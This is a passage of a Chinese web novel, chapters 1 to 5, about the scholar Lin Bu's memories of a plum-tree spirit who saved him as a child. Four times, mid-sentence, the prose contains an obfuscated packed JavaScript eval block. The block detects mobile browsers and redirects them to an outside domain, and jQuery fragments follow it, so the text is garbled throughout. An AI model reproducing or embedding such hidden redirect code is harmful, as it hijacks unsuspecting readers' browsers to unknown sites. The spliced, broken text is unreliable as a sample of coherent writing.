《[综]美人多娇》 1. 第 1 章 “呼——” 拨开及人高的野草后,眼前豁然一片开朗。 “应该就是这里了吧。” 说这话的青年抬起头,一边平稳着气息一边拭去额角细密的汗珠。待手放下,露出一幅极为好看的眉眼。 他长着一张文人所推崇的清隽的脸庞,并非棱角分明,也不干瘦,柔和的线条如细软的笔锋勾勒出的重峦青山,浓淡适宜,悦人心目。一双眼睛泓澄灵秀,里面好像倒映着西湖四季潋滟的湖水,轻轻一弯,就是波光醉人。 即使眼下鬓发微乱,衣衫汗湿,狼狈之余仍不掩一袭风姿。就连左颊一道不小心被草叶划伤的狭长红痕,在青年的脸上都显得那么恰如其分,如同黑白的水墨画卷里长出鲜艳的一树红梅,素雅中点缀一枝侬丽。 这样的人本该儒巾襕衫,潇洒从容,即便出游,也是邀三五友人,一二知己,或煮茶评诗,或焚香抚琴,做尽世间雅事。但当他背着沉重的行囊,一身风尘仆仆的出现在人迹罕至的幽暗密林里,好像也不显突兀。 他持着竹杖从山间行过,就像是林中穿过了一阵清风,吹来新鲜自由的气息,又与周围自然相融,本身就是一道缱绻多情的风景。 来者名叫林逋,字君复,浙江奉化大里人士。 友人赞他是放达不羁的风雅之士,然而,他更愿意称自己是个旅人,一个以足丈山河,以眼画春秋的旅人。 与山水为邻,同花鸟作伴,是他一生最好的写照。 时下正值春日,林逋原在太湖泛舟。绵绵细雨接连下了几日,也不影响他出门的兴致。 小小的船舱里支着一方小桌,摆上几道简单的小菜,再燃起炉子,烫上一壶清酒。水烧开时“咕噜咕噜”的冒泡声,头顶雨珠“滴答、滴答”的敲击声,还有那披着蓑衣在外撑船的船家清亮的歌声,奏成了一支趣味横生的雨中小调。 热酒驱逐了早春的寒意,林逋喝得微醺,一边打着拍子一边邀船家进来一同饮酒。 船家很是健谈,虽然不识几个大字,但常年在太湖迎来送往,天南地北的客人都有,故而说话谈吐很有一番见地,奇闻轶事更是信手拈来。 恰好,林逋也是个善于交际的人,他生得好看,言语风趣,又态度随和,没有所谓读书人的清高,因此二人聊的很是尽兴。 不知不觉几壶酒下来,酒量浅的林逋已经醉倒在桌上,船家却还很清明。 看着不胜酒力的林逋,他爽朗的笑了笑,在床舱里找出一条薄毯给他搭上,就继续回到外面撑船。 不多时,悠扬的歌声再度在雨中响起,是一支与先前不同的调子,要轻柔很多,大意是夸赞太湖美丽的风光。 歌声在湖面荡开,传进舱里,又随着一圈圈的涟漪飘向远方……醉意朦胧中,林逋喃喃念道:“人人尽说江南好,游人只合江南老。春水碧于天,画船听雨眠【1】……” 一首词还未念完,恍惚间又沉沉睡去。 等再醒来时,船已停岸,雨也不知何时停了。 林逋整了整衣冠,颇有些不好意思的向船家致歉。 老船家摆了摆手,不肯多收钱,还打趣道:“郎君请的那顿酒足够抵啦!再说,老夫撑了这么多年的船,还是第一次见到郎君这般神仙一样的人物,要是叨扰了郎君小睡,那可真是罪过罪过。” 船家这么说概因时下风气如此,宋人好颜色,慕风雅,对好看的人或物也总会偏爱几分。 林逋不觉莞尔,只觉这船家果然是个妙人。只是听他说自己像神仙,不由在心里默默反驳,在真正的天人之姿面前,他怕是只有自惭形愧的份。 原地又聊了一阵子话,林逋辞别船家。 看天色还早,他也不急着走。就兜兜转转的沿着岸边赏起了雨后的风景,但见垂杨蘸水,烟草铺堤,叫他想起了李太白的诗: 烟花三月下扬州。 他琢磨着,眼下太湖雨景已赏,接下来若不趁着春天还未结束去一次扬州,岂不辜负了江南这般美好的景色? 他一贯不爱拘束,漫游在外,往往是随性而至,尽兴方归。想到一处地方,只要起了念头,便一定会欣然前往。 既然已经被扬州勾起了兴致,那他自然不会错过。当天回去便收拾好行李,包袱款款的就这么来了扬州。 其实,这并不是林逋第一次去扬州。说来郁闷,他好像和扬州总是差了点缘分,前两次来了后总会因为各种原因,还没怎么游玩,就又匆匆离去。 这一次故地重游,他下定决心,无论如何,一定要一了前几次未能饱览美景的遗憾。 来到一个地方游玩赏景,一个顶好的办法便是登上高处,一览众山小。观音山风景秀丽,地势高耸,深谙游玩之乐的林逋自然不会错过。 令人欣慰的是,这一回终于没再出什么意外,林逋顺顺当当的来到了观音山。 三月的观音山处处浮翠流丹,花木葳蕤。一路走来,只见溪水潺潺,翠林长青。 远离了尘嚣喧扰,观音山就如一副缓慢流动的画卷,古老静谧。浑然不知俗世变迁,日新月异。 大概是否极泰来,在山脚下林逋遇到了一个打柴的樵夫,与他交谈时听说山上还残留着当年隋炀帝修建的迷楼的遗址。虽然现在只剩断瓦残垣,无法证实隋炀帝说的“使真仙游此,亦当自迷”是否有夸大的成分,可多少也算一个游玩的去处。 “如果郎君不嫌山路难行的话,观音山里还有一处梅林。每年冬天,那儿的梅花开的那叫一个漂亮。现下虽说已经三月了,但说不得还有没开败的梅花呢。不过那儿地偏,不好走又不好找,郎君感兴趣的话倒是不妨碰碰运气。” 樵夫口中的那片古梅林,离迷楼遗址不算太远。就是地方实在偏僻,所以不怎么为人所知。 樵夫之所以知道也是因为因缘巧合:他祖父年轻时在山上砍柴曾无意间误入过这片梅林。那时正值冬日花开之时,雪落红梅,相映成景,煞是好看。 樵夫的话算是搔到林逋的痒处了。 要知道,他这个人啊,素来不爱金银,不慕名利,是个万物不萦于心的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268149|182178||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 性子,一生最爱除了山川自然,秀丽江河之外,便要属心头好的梅花了。 这些年游历在外,他自然也不忘四处访梅。 从山中野梅,到村中老梅,再到富贵人家精心养在院子里的名贵品种,红的,白的,绿的,珍贵的,普通的,不一而足,着实见过了不少梅花。 此处既有梅花,他又怎会错过。 即使这时节梅花花期已过,可山上清寒,说不得还有几枝晚梅可赏,便是没有,春日的梅树也别有一番可爱。 何况,红梅啊…… 它对于林逋来说总是不同的。 于是,林逋迫不及待的向樵夫打听好大概路线,然后一路奔梅林而来。 “难怪老丈说梅林难寻,果然,这里路难走不说,还十分容易迷失方向。要不是我常年在外游历,走过不少山野老林,怕还真找不到。” 通往梅林的路被肆意疯长的野草灌木挡得严严实实,树荫浓密,抬头不见天日。林逋这一路爬上来全靠一把柴刀和临时砍的竹杖开路,饶是身体强健的他也有些吃不消,不过好在终于到了。 眼看胜利在即,林逋不由加快了步伐。 果然没走多远就看到一大片梅林,只可惜视线所到之处新叶纷繁,山花烂漫,却无一朵是梅花。 “还是晚了。” 林逋轻轻叹了一口气,神色倒也不见沮丧。正如他先前所想,能看见梅花是意外之喜,看不到也不算白来一趟。 可惜是有点可惜,不过还算不上遗憾。 他随手将行囊放下,走到最近的一棵梅树跟前,细细品看它绿叶之下虬结盘曲的枝干。 这是一株历经沧桑的老梅,而林逋向来懂得欣赏这样的梅树。 他抚过它树瘤密布,苔藓丛生的老皮,透过其丑陋的外表仿佛看到了它们多年来对抗霜雪,无畏风寒的凛然之姿。 未经人工修剪的枝丫野蛮生长,肆意舒展着枝叶,这般苍劲刚毅之美叫他忍不住连连称赞。 漫步林中,每一棵梅树或许形态不一,但都是同样的奇古粗壮,枝干横斜疏瘦,清、瘦、奇于一体,让林逋看的是流连忘返,如痴如醉。 突然,他的脚步停下来,望见左前方一抹鲜艳的红色。 原来是一株还未凋谢的晚梅。 虽然花朵稀稀落落,但仍有一两枝尚且完好。簇簇的花朵绽放在枝头,叫人仍不住想象它全盛时期是何等的风姿。 “确实和老丈说的一样,品相极好,颜色也很漂亮。”林逋端详后认真点评道。 这株梅花的确是难见的珍品,极好,但不是最好。 这世上最美的梅花盛开在西湖,在孤山,在那片雪海一样的梅林里。 知道他爱梅的人很多,但知道他最爱红梅的人却寥寥,林逋从不曾在人前表现过对红梅的过分偏爱。 不是花中偏爱它,只是他偏爱的那一株恰恰是红梅罢了。 “姐姐,我想你了。” 算来我们分开才不过月余,可我就已经有这么想你了。 2. 第 2 章 林逋一直念叨的姐姐,其实并非是他真正的姐姐,他们的相识源于一次奇妙的邂逅。 故事老套又新奇,居住深山不谙世事的妖怪少女因为好心,救了一个人类孩童,被长大的孩童缠着要报恩,因此结下了不解的缘分。 犹记得那是林逋十岁那年,他的母亲带他去外祖家小住。谁想发生了一点意外,这一住就住了两三个月,他们也因此留在了杭州过年。 彼时林逋年岁尚小,却已经有了一颗对自然山水的向往之心。 杭州风景秀丽他早有耳闻,幼时虽也随着父母去过几次,但记忆早已模糊。这次难得有机会待这么长时间,他自然很兴奋。 林逋少时相貌讨喜,性子伶俐,去了外祖家很快就和同龄人打成一团,也很得长辈喜欢。再加上他家学渊源,自小通读经史百家,所以和年岁略长的兄长们也能说得上话,人缘可以说相当不错。 短短时间内,他和小伙伴们就已经将外祖家周边都玩了一遍。可惜最想去的西湖由于离外祖家实在有点远,加之年关事务繁忙,所以他一直没好意思叫人带他去。 等张灯结彩、热闹非凡的元宵节一过,没了拜客往来,节日欢愉的气氛也一点点淡去。 正无聊的时候,林逋有位关系不错的有位表兄和同年们约好去西湖赏雪,终于耐不住的他便磨着长辈同意表兄带他一道去。 这次集会的地点就在西湖孤山。 西湖雪景可谓一绝,孤山尤甚。 孤山是西湖最大的一个岛屿,与断桥相连。他们去时正逢雪后初晴,早春的阳光照在雪上,与碧波荡漾的湖面互相映衬,折射出璀璨的光芒。 他们一行人披着大氅,穿着蜡屐冒着严寒,一路踏雪拂树而来。沿途只见亭台楼阁,高低错落;藤萝挂石,风光天然;更有梅花遍布,清寒独自开。 年幼的林逋看得目不暇接,暗暗感叹不虚此行。 此处风景甚佳,文人们的集会办的也有声有色。 他们过断桥,登孤山,品诗作画,酌酒长歌。乘着酒兴,又吹笛抚琴,访灵隐,寻白堤,乘船垂钓,纵情欢乐,不知今夕何夕。 林逋因为年纪小,表兄牢记长辈的叮咛,不许他碰酒,他就坐在一边默默吃菜,偶尔还被表兄拉出来当场表演背诵,炫耀他家出了个小神童。 等众人喝得酩酊大醉,林逋已经坐得无趣了,就告了表兄去旁边玩耍。 表哥正与旁人说话,闻言不太清醒的点了点头,只告诉他不许跑远。 林逋乖巧的应了,初时还老实的只在周边转悠,后来口渴,回去喝香饮子,趁表兄不注意还悄摸着偷喝了一杯酒。 那是他第一次喝酒,尚不懂酒的好处。一杯下肚,就被辣得吐了舌头,小脸跟着涨得通红。 他们饮酒的地方选的很好,人烟稀少不会被打扰,周边又有许多梅花,品种纷繁。黄香梅浓密芬芳,鸳鸯梅重叶轻盈,官城梅丰腴肥美,绿萼梅素雅高华…… 林逋刚来时就被梅花吸引,他注意到越往偏僻的地方梅花开得就越好,只是一个人不敢走远。 此时他脑袋晕晕乎乎,竟一个人循着小路去看梅花。结果越走越里。最后,不出意外的,他迷路了。 因为饮了酒,胆子正大着,发觉迷路后他竟也不觉害怕,只是一个劲的在林子里打转。 不知走了多久,他脚下一空摔进一个大坑里。 那是一处被废弃的陷阱,上面铺了一层枯枝烂叶,又落了积雪,所以林逋才没注意一脚踩空。 “好痛!” 林逋结结实实的摔了一跤,额头磕了一块淤青,脚也崴了,不知道骨头有没有断。 不幸中的万幸,还好坑里没有乱石竹签,加之冬天衣服也厚实,所以他才没吃什么大亏。只是疼痛是难免的,手上、脸上也有不少的擦伤。 他扶着土壁站起来,刺骨的疼痛从脚踝直往脑子里钻,痛得他是彻底清醒了。 林逋见自己掉进一个一人多高的坑里,四壁湿滑,踮着完好的脚试了几次都爬不出去后,只能大喊“救命”。 也不知是他跑得太远,还是表兄他们喝得太醉,林逋叫了好一会儿也没听见有人来。 随着时间一点点过去,脚腕已经肿得像馒头一样,发乌发紫,身上的衣服也被洞里的雪水浸湿,冷得他直打哆嗦。 林逋到底还是个半大的少年,见自己呼救无门,身上又又冷又痛,饶是平时再怎么坚强,此时也不由感到绝望。 再不来人救他,他就要被冻死了。 渐渐地,洞里呼救的声音带上一丝上泣音,喊的人也从“阿兄”变成“阿娘”、“阿耶”。 就在林逋缩在洞里抽泣的时候,一道女音在上方响起,泠泠若玉石相击。 “哪里来的小孩儿,怎么一个人在这里哭?” 听见声音,林逋忙抬起头,由于来者背着光,看不太清楚面容,只隐约瞧见一张芙蓉玉面,应该生得很美。 是位穿着红衫的年轻娘子。 见终于有人来了,林逋又惊又喜,像是离家的幼鸟,迫不及待地想要归林。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268150|182178||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 他扶着墙壁站起来,期待的看着少女,声音还带着哭腔:“姐姐,我出来看梅花结果不小心掉下来了,上不去,你能不能帮我叫我阿兄过来?他和他的朋友们就在附近。” 林逋虽然很想马上就出去,但见上面只有少女一人,怕是没办法救他上去,便央她去寻一寻表兄他们。 听了林逋的话,上面短暂的安静了一下,然后他听见那个漂亮的姐姐说道:“不用寻人,你站好,我带你上来。” “姐姐,我很重的,要是把你拽下来就不好了,还是叫人过来吧。” 少女还是没同意,“我力气很大,能拉你上来。” 林逋有些踌躇,上面许是等得不耐烦了,只见一条绯色的红绫突然落下来,如一只灵巧的蛇儿缠住他的腰往上就是一拉。 他先是感觉一紧,然后身体一阵腾空,等眼前一亮,脚已经落在了地上。 “唰!”腰上的红绫很快被抽走。 由于惯性,林逋不由往前一踉,就要歪倒时,一根雪白纤长的手指恰好抵住了他的额头,没有用力,却叫他稳住了身子。 “我上来了?” 被这一连串的动作弄得有些晕乎,林逋慢半拍才反应过来自己已经得救了。 “好了,小孩,你既然上来了,就快些回去吧。” 少女收回手,侧身慢条斯理的整理着臂上有些褶皱的披帛,那正是先前拉林逋上来的红绫。 “谢谢姐姐!我……”林逋正要上前道谢,左脚刚用力,钻心的疼叫他忍不住“嘶”了一声。 “姐姐,我怕是走不了了。” 林逋扶着身边的树,可怜兮兮的望向少女,睫毛上还挂着泪珠儿,可怜极了。 谁知这一看可了不得。 先前一切发生的太快,上来后他还来不及打量救命恩人是何模样,直到现在他才发觉少女的不寻常。 从他的角度看,只见她乌发雪肤,红衫轻薄,双臂一条长长的同色披帛水银般迤逦垂落,十足的风流袅娜。可叫人惊异的是,少女纤丽的身形并不像常人一样凝实,在阳光的照射下如同流动的雾霭一样缥缈,彷佛风一吹就会散去。 再加上方才她救他上来的手段,很明显,身前的这位少女根本不是人。 似是知道他已经察觉,少女缓缓转过身来,露出一张欺霜赛雪的面庞,冰清玉粹,恍若天人。配上她飘渺的身姿,此情此景,如梦似幻,叫林逋连呼吸都不由放轻了许多。 她是仙女吗? 林逋晕晕乎乎的想道。 3. 第 3 章 小小的少年满眼惊艳,呆呆的愣在原地。 如斯美丽,在还不识情爱的年纪里,他就遇见了一个惊艳他一生的人。于是,流年经转,再见时才会情不知所起,一往而深。 望着少女眉心形似梅花的红色花钿,还有鼻尖萦绕的缕缕梅香,林逋喃喃出声:“梅花仙子……” “小孩,你认错了,我不是仙子,我是妖。”雪地里盈盈而立的少女冷淡的否认道,对少年的失态毫不在意。 这么漂亮又善良的姐姐怎么会不是仙子呢?她和书中描述的仙子明明一模一样啊! 少女的风仪太过出众,林逋怎么也无法把她归于妖鬼一流。 “在我心里,姐姐就是仙子!”林逋斩钉截铁道。 听他这么说,且眼中也的的确确没有一丝的害怕与厌恶,少女生出几分好奇。 “我是妖,你不怕?” 人类不是常说非我族类,其心必异吗?知道她是妖后,竟然没被吓跑,看不出来这小哭包胆还挺大。 “当然不怕,要不是姐姐救了我,我还不知道什么时候才能出来,说不定要冻死了。姐姐……” 说到这里,他缩了缩脖子,然后又期期艾艾的看着少女,问道:“我还能继续叫你姐姐吗?” 少女无奈,现在才问是不是有些迟了,再说,她就算不同意难道这磨人的小东西就真不叫了? “随你。” “姐姐你真好!”林逋欢呼。 “身上不疼了?” “唔!痛!”小嘴又瘪下来了。 人类的小崽子就是麻烦,被少年一阵阵哭声从沉睡中吵醒的少女如是想到。 不过,看着林逋全身灰扑扑脏兮兮的,像是一只负伤的小兽,偏还睁着一双清澈的眼睛,信赖的看着她的样子,她还是心软了。 “我不能离开这里,无法送你出去。不过你的家人发现你不见了迟早会找过来的,你先在这里等会儿吧。” 说着,她掐了个法诀,烘干了林逋身上湿漉漉的衣服。 “衣服都干了!”林逋惊异的打量着自己,然后抬头露出一个温软的笑:“谢谢姐姐,我会乖乖在这里等的。” 看着更像个小动物了。 少女不知道什么叫被萌到了,只觉得手有点蠢蠢欲动,想要捏一捏对方还带着婴儿肥的小脸。 怎么就不是真的动物幼崽呢?这样就可以尽情的摸摸脸,揉揉脑袋了。 到底没有将心中的想法付诸行动,不过少女看林逋脸上的伤痕越发不顺眼了,索性帮他把身上的擦伤也给治好了,还顺便做了个清洁。 看着恢复成清爽干净、唇红齿白的美少年,她终于满意了。 小动物的皮毛就是要打理的干干净净的才好。 “你的脚伤得比较重,我现在妖力微弱,没办法治好你,只能做到这样了。” “这样已经很好了,姐姐你真好!姐姐你真厉害!姐姐还说不是仙子,你就是天底下最善良、最漂亮的仙子姐姐!” 虽然少女面上一直冷冷淡淡,但是小人精一样的林逋如何看不出少女的一再心软。再者,他说的也都是心里话,从见面以来姐姐就一直在帮她,她还生得这般漂亮,在林逋心里,她就是仙女无疑了,才不管她到底是人是妖呢。 于是,林逋的嘴更甜了,好听的话像是不要钱一样不断地冒出来,都不带重复的。 嗯哼,就连家里最严肃的祖父都被他哄得晕头转向,何况还是面冷心软的姐姐呢。 自开了灵智以来连人都没见过几个的少女哪里受到了这样的甜蜜暴击,心里想着叽叽喳喳的好吵啊,嘴角却不由自主的轻轻上扬,露出了一个极清极浅的微笑。 虽然很快这丝笑意就不见了,可那刹那的风景还是叫视线一直放在她身上的林逋瞧见了。 他的脸突然红了。 “怎么了?” 见林逋的声音顿住,少女问道。 “没……没什么。”林逋支支吾吾。 他眼神飘忽,怎么也不敢再看她了。 “是脚还疼吗?” 此时,林逋早已经就近寻了个干净的石头坐着,少女站在她身旁,说完就要去看他的伤。 林逋紧紧捂住裤腿,面红耳赤道:“不是的,姐姐,我只是在想阿兄怎么还没来。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268151|182178||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这话原只是借口,可一说出来他的脸色也跟着黯淡下来。 阿兄也太不靠谱了,眼看着太阳就要下山了,到现在林逋连他的人影子都没看到。算来他都失踪一个多时辰了,表哥他们到底喝了多少酒啊,现在还没发现他不见了吗? 饶是再怎么乐观坚强,经历了这么多,又被脚上的疼痛一直折磨的林逋再也忍不住了。 他低着头,眼泪大颗大颗地掉下来,宣泄着他心中的害怕和委屈。 “怎么突然哭了?”少女被这突如其来的一幕惊得手足无措,不知如何才好。 “姐姐,我……我没事,只是心里难受,哭……哭出来就好了。” 林逋一边掉着眼泪,一边还不忘安慰少女。他也不想在姐姐面前哭,可情绪上头了实在忍不住。 哭到最后,他还抬起头,哽咽着问少女:“阿兄一直不来,姐……姐姐,你会陪我一起等吗?我一个人有……有些害怕。” 瑟瑟发抖的小动物实在惹人怜爱。 由于站位关系,少女居高临下的将林逋整个人纳入眼底。 初春的气温温差大,即使这会儿还是白天,可随着太阳的落去,温度还是逐渐冷了下来。这里又是一大片的林子,寒气更重,因为脚伤一动不动坐着的林逋此时脸色已经冻得苍白,却还是忍着一声不吭,从未求助抱怨过。 她看着抿着一张小脸,眼眶通红,用充满祈求的眼神看着她,好似在说:“不要丢下我”的林逋,终是忍不住叹了口气。 她还是低估了人类小孩的脆弱程度,偏偏他还如此倔强,冷成这样了都不知道说一声。 “先前听你说你是在看梅花的时候掉进坑里的,你很喜欢梅花?” 她没有回答林逋的问题,反而很突兀的说了这句话。 林逋不解其意,却还是含着眼泪乖乖点头,答道:“喜欢,我从小很喜欢!” 话音刚落,一支开得正盛的梅花被递到眼前。 少女俯下身子,眉目难得柔和下来。 她将那支梅花往前递了递,有些笨拙的哄道:“这样的话,呐,这枝梅花送给你,不难过了好不好?” 4. 第 4 章 林逋愣住了,他看着被递到眼前的梅花:黝黑的枝干飘逸斜出,花朵大半已经完全绽放,红艳如翡,含羞带去的露出一点蕊黄;其余的都是或玲珑小巧或将开未开的花骨朵儿,一个个浓丽饱满的彷佛随时会绽开。 丝丝缕缕的梅香从花蕊间冒出来,清甜馥郁的与姐姐身上的香气如出一辙。 毫无疑问,这是林逋见过最美的梅花。不过比花更美的,是眼前持花哄他开心的美人。 他忍着泪意,从少女玉白的手里接过梅花,小声的道谢:“谢谢姐姐,花很漂亮,现在我一点也不难过了。” 花刚一入手,一股暖流就顺着花枝流入林逋的四肢百骸,驱逐了身上的寒意,暖和的他忍不住打了个哆嗦,脚好像也没那么疼了。 “身上也不难过了吧?” 看着林逋睁大的双眼,少女努力放缓语气,“那不哭了好不好?” 林逋这才知道姐姐给他梅花的用意,也明白自己强撑的坚强被她看穿了。 果然,他又给姐姐添麻烦了。 林逋眼睛一片酸涩,哽咽的几乎说不出话来。他紧紧握住花枝,用袖子粗鲁的擦了擦眼睛,把泪水摁回去,然后重重点头。 “不难过了,有姐姐陪着,我一点也不难过。” 见他终于止住了泪,少女松了一口气,提着裙摆在他身旁坐下,然后顺从心意的捏了捏觊觎已久的脸颊:“别怕,我不走。” “嗯!” 刚才情绪上头,林逋才没忍住哭了起来。这会儿有少女的安慰和保证,他很快便恢复了精神。 林逋小心翼翼的捧着手里的梅花,眼中的喜爱几乎要溢出来:“姐姐,这支梅花是你用法术变出来的吗?和你一样,又漂亮又厉害,我拿到它一点都不觉得不冷了。” “这是我的花,我是妖,真身就是一棵梅树。” “梅树?我说的没错,姐姐果然是梅花仙子!” 林逋全然当没听见那句妖,只是捧着那枝梅花更小心了,彷佛那是什么稀世奇珍。 然后他想起什么,皱起眉,着急的打量着少女,要不是脚上有伤,怕不是整个人都蹦起来了。 “姐姐,你折了花给我,那你身上是不是很疼?” “我是一棵树,无心无觉,怎么会疼?再说,你不是说喜欢梅花吗,这枝梅花难道不好看?” 少女将急得恨不得团团转的林逋摁下来,不以为意的说道。 “我知道姐姐是为了我,可你也不能伤害自己啊!” 林逋被压在原地反抗无能,却还是急红了眼大声反驳:“姐姐怎么会不疼呢,万物皆有灵,生老病死并非只有人才有,树也是,姐姐当然也会疼。还有,你怎么会没有心,你都不认识我,不也救了我,还对我这么好,怎么就没有心了,明明姐姐的心最软了!” 少女被他夸得有些心虚,没好意思说她最初是因为他哭得太难听,吵得她睡不着,所以才想着把对方尽快弄走。 “我的身体,难道我自己还不知道疼不疼吗?你这小孩,话怎么这么多。” 其实小孩说的没错,这枝梅花是她本体的一部分,折下又怎么会不疼。只是看这小孩冷成这样,总不好真让他冻死吧。 毕竟救都救了,总不能救到一半就撒手不管。 她现在虽然妖力低微,但好歹是妖,哪怕只是一根树枝,到底不同于普通的梅树,稍微庇护一下小孩还是可以的。 不过这话不能对这小孩说,不然,这个哭包又得哭了。 出于对少女的信任,林逋勉强相信了她的话,不过还是有些气恼,当然,是对自己的。 “不管疼不疼,姐姐以后不能再伤害自己了,就算是做好事也不行。” 见他被哄住了,少女心中长舒一口气。 “你还是个小孩,操心这么多干什么。” 幼崽不是只要吃吃喝喝睡睡,好好长大就行了吗,怎么人类的崽就这么与众不同。 她一挥衣袖,林逋不受控制的坐了下来。 “再说,这儿偏僻的很,哪里有那么多看花看得掉进洞里的小迷糊让我救。” 少女据实说道,可这话落在林逋耳中彷佛是在取笑他似的。 他红着脸气闷道:“我那是喝了酒,而且,我已经不小了,再有几年都可以成家了。” 说到最后一句,他羞赧更甚,脸色红艳的快赶上手中的梅花了,声音更是细若蚊蝇。 “那也是以后,你现在就是个小孩。” 绝杀! 林逋更郁闷了,却碍于事实无法反驳。 不知为何,他一点也不想在姐姐面前是个幼稚的形象。 于是,他强行转移话题,与少女聊起天来。 少女话少,几乎是他一个人在说话。他从经史文集说到这些年在外游玩的经历,还有四处听来的奇闻异事,努力想证明自己的成熟。 林逋的确很有文采,记性很好,讲故事的水平也高,各地的山川景物还有民俗旧事被他说的妙趣横生,让人听了仿佛身临其境。 少女哪里听过这里,只觉新奇又有趣,慢慢就入了神,在一旁托腮认真的聆听着。 林逋见她喜欢,更是一发不可收拾,恨不得搜肠刮肚,将他能想到的都说与少女听,直到说的口干舌燥才暂时停了下来。 他看着少女意犹未尽的样子,终于忍不住将疑问问出来:“姐姐,你说你离不开这里是什么意思啊?” 姐姐这么喜欢听他说外面的事,为什么不能离开这里亲自去外面看看呢。 听林逋这样问,少女怔了一会儿。 她抬头看向四周,大片大片的树木野草杂乱生长,一株株梅树散落其中,就像被牢牢困在里面一样,怎么也挣脱不出去。 一瞬间,她的脸上没有了方才的闲适温柔,眼中带上了些许落寞。 林逋突然有些后悔问出这个问题了。 半响,他才听见少女的回答:“我是一棵树,树生根在哪,我自然只能待在哪。” 这漫山的草木鸟兽,只有她不知为何开了灵智。可植物的修行是何等的艰难,即便已经修炼了数百年,她还是只能短暂的以灵体的形式出现,无法离本体太远。 只要一日没有真正化形,她就不能离开这里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268152|182178||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 这漫长的岁月里,她连个交流的人都没有,平日除了修炼,就只能睡觉。 她都不知道该说自己是幸运还是不幸。 “我连化形都做不到,怎能离开这里呢?小孩,亏你还叫我仙子,恐怕这辈子我都无法成仙了。” 少女的语气平淡中透出一抹苦涩,话里的寂寞叫林逋听了心里一酸。 “姐姐,我说过了,不管能不能成仙,你永远是我的仙子姐姐。不能离开也没事,你不是喜欢听我说故事吗?正好我从小就喜欢到处跑,以后,我还会去更多的地方,到时候回来全部都说给你听。对了,我还可以学画画,我把它们都画下来,让你不仅能听到,还能看到它们!” 少年觉得自己想出了一个好主意,一字一句说的铿锵有力。 这一刻,他到真像他说的,是个成熟的小大人了。 少女很意外他会说出这番话,虽然理智告诉自己孩童之言不能当真,不过还是忍不住柔软了神色,第一次真切的露出笑来。 淡去了与生俱来的那抹冷清,如朝霞映雪,端丽冠绝。 林逋被她的笑鼓励到了,肃着一张嫩生生的小脸道:“姐姐你放心,男子汉大丈夫,既然答应了你,那我就一定会做到。以后除非我老得走不动了,不然我会一直把外面的景色和故事带到你面前来!” “好,那我等着。” 自觉与姐姐约定好了以后再见的事,林逋欢喜之下又与她说了很久的话。 少女很少回应,只是认真的听着,这副模样却叫林逋说的越发卖力。 不过到底还年少,加之这几个时辰实在将他折腾的够呛。眼下少女就陪在身边,手中紧握的梅花烘得他周身暖洋洋的,鼻尖也尽是芬芳悠长的香气,林逋一直紧绷的心神不由放松起来。 这一放松,先前被他强压着的疲倦顿时一窝蜂的涌了上来,困意席卷心头。 慢慢的,他的声音逐渐弱下来,流畅的句子变得断断续续,头也跟着一点一点的,却还是强撑着不要睡去。 “睡吧。”轻柔的声音响起。 是姐姐。 他勉强辨认出声音的来源,顿时安心了,头一歪,落入一个馨香的怀抱,沉沉睡去。 一只觅食的麻雀跳了过来,许是好奇这个陌生的大家伙,扑闪着翅膀落在林逋手边,歪着胖乎乎的脑袋试探的想要啄一口,却被一截红色衣袖给拦住了。 “去,小家伙,这可不是你玩闹的的地方。” 看林逋没有被吵醒,衣袖的主人放下心来,放缓了声音教育着调皮的雀儿。 麻雀被一股轻柔的力道拨到一旁,它歪了歪头,然后蹦跶着在周围的草丛里找起草籽或者小虫子来吃,时不时睁着黑豆一样的眼睛朝这边看一眼,好像疑惑他们在干嘛。 少女的下半身几乎变得透明,只有上半身还勉强维持着凝实的姿态。 她打量着怀里的少年,睡得一脸香甜,手臂却下意识的虚虚拢住那枝梅花,避免被压倒。 “还真是个小麻烦精。” 有谁含着笑意的声音轻轻传来,很快消散在风中。 5. 第 5 章 “十一郎!十一郎!你在哪儿啊?” 